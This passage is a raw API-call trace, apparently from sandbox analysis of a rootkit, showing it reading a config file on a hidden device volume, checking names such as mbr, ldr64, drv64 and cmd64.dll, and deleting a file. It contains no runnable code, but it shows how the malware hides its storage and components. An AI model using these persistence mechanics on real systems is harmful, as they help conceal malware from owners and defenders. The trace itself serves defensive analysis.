_Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.746] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.746] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c5e50 [0118.746] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.746] KeLeaveCriticalRegion () [0118.746] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.746] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.746] KeEnterCriticalRegion () [0118.746] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.746] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.746] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.746] KeLeaveCriticalRegion () [0118.746] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.746] KeEnterCriticalRegion () [0118.746] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.746] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.746] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.746] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.746] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.746] IdePortDispatch () returned 0x103 [0118.746] KeWaitForMutexObject () returned 0x0 [0118.746] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.746] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.746] KeLeaveCriticalRegion () [0118.746] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.747] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.747] KeEnterCriticalRegion () [0118.747] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.747] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c1d000 [0118.747] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.747] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.747] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.747] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.747] IdePortDispatch () returned 0x103 [0118.747] KeWaitForMutexObject () returned 0x0 [0118.747] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.747] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.747] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.747] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.747] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.747] IdePortDispatch () returned 0x103 [0118.748] KeWaitForMutexObject () returned 0x0 [0118.748] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.748] KeLeaveCriticalRegion () [0118.748] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.748] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.748] KeEnterCriticalRegion () [0118.748] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.748] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.748] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.748] KeLeaveCriticalRegion () [0118.748] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.748] KeEnterCriticalRegion () [0118.748] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.748] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.748] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003649ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.749] KeLeaveCriticalRegion () [0118.749] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.749] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.749] KeEnterCriticalRegion () [0118.749] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.749] ExFreePoolWithTag (P=0xfffffa80039c5e50, Tag=0x0) [0118.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.749] KeLeaveCriticalRegion () [0118.749] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.749] ReleaseMutex (hMutex=0xf0) returned 1 [0118.749] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.749] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.749] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.749] KeEnterCriticalRegion () [0118.749] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.749] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.749] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.749] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.749] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.749] IdePortDispatch () returned 0x103 [0118.749] KeWaitForMutexObject () returned 0x0 [0118.749] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.749] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.750] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.750] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.750] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.750] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c5f60 [0118.750] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.750] KeLeaveCriticalRegion () [0118.750] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.750] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.750] KeEnterCriticalRegion () [0118.750] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.750] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.750] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.750] KeLeaveCriticalRegion () [0118.750] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.750] KeEnterCriticalRegion () [0118.750] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.750] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.750] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.750] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.750] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.750] IdePortDispatch () returned 0x103 [0118.750] KeWaitForMutexObject () returned 0x0 [0118.750] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.750] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.750] KeLeaveCriticalRegion () [0118.750] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.751] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.751] KeEnterCriticalRegion () [0118.751] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.751] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c1e000 [0118.751] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.751] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.751] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.751] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.751] IdePortDispatch () returned 0x103 [0118.751] KeWaitForMutexObject () returned 0x0 [0118.751] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.751] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.751] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.751] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.751] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.751] IdePortDispatch () returned 0x103 [0118.751] KeWaitForMutexObject () returned 0x0 [0118.752] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.752] KeLeaveCriticalRegion () [0118.752] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.752] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.752] KeEnterCriticalRegion () [0118.752] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.752] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.752] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.752] KeLeaveCriticalRegion () [0118.752] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.752] KeEnterCriticalRegion () [0118.752] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.752] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.752] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c9ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.753] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.753] KeLeaveCriticalRegion () [0118.753] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.753] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.753] KeEnterCriticalRegion () [0118.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.753] ExFreePoolWithTag (P=0xfffffa80039c5f60, Tag=0x0) [0118.753] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.753] KeLeaveCriticalRegion () [0118.753] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.753] ReleaseMutex (hMutex=0xf0) returned 1 [0118.753] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.753] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.753] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.753] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.753] KeEnterCriticalRegion () [0118.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.753] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.753] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.753] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.753] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.753] IdePortDispatch () returned 0x103 [0118.753] KeWaitForMutexObject () returned 0x0 [0118.754] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.754] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.754] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.754] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.754] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.754] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.754] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.754] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.754] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.754] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.754] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.754] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.754] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.754] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.754] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.754] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.754] KeLeaveCriticalRegion () [0118.754] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.754] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.754] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.754] KeEnterCriticalRegion () [0118.754] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.754] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.754] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.754] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.755] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.755] IdePortDispatch () returned 0x103 [0118.755] KeWaitForMutexObject () returned 0x0 [0118.755] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.755] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.755] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.755] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.755] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.755] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.755] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.755] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.755] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.755] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.755] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.755] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.755] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.755] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.755] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.755] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.755] KeLeaveCriticalRegion () [0118.755] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.755] ReleaseMutex (hMutex=0x100) returned 1 [0118.755] Sleep (dwMilliseconds=0x2bf20) [0118.764] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69fbdbb0, dwHighDateTime=0x1d24fa4)) [0118.764] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.764] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.764] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.764] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.764] KeEnterCriticalRegion () [0118.764] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.764] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.764] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.764] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.764] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.764] IdePortDispatch () returned 0x103 [0118.765] KeWaitForMutexObject () returned 0x0 [0118.765] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.765] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.765] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.765] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.765] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.765] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bca1b0 [0118.765] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.765] KeLeaveCriticalRegion () [0118.765] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.765] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.765] KeEnterCriticalRegion () [0118.765] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.765] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.765] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.765] KeLeaveCriticalRegion () [0118.765] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.765] KeEnterCriticalRegion () [0118.765] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.765] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.765] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.765] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.765] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.765] IdePortDispatch () returned 0x103 [0118.766] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.766] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.766] KeLeaveCriticalRegion () [0118.766] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.766] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.766] KeEnterCriticalRegion () [0118.766] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.766] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c21000 [0118.766] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.766] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.766] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.766] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.766] IdePortDispatch () returned 0x103 [0118.766] KeWaitForMutexObject () returned 0x0 [0118.766] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.766] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.766] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.766] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.766] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.766] IdePortDispatch () returned 0x103 [0118.767] KeWaitForMutexObject () returned 0x0 [0118.767] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.767] KeLeaveCriticalRegion () [0118.767] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.767] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.767] KeEnterCriticalRegion () [0118.767] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.768] FsRtlProcessFileLock 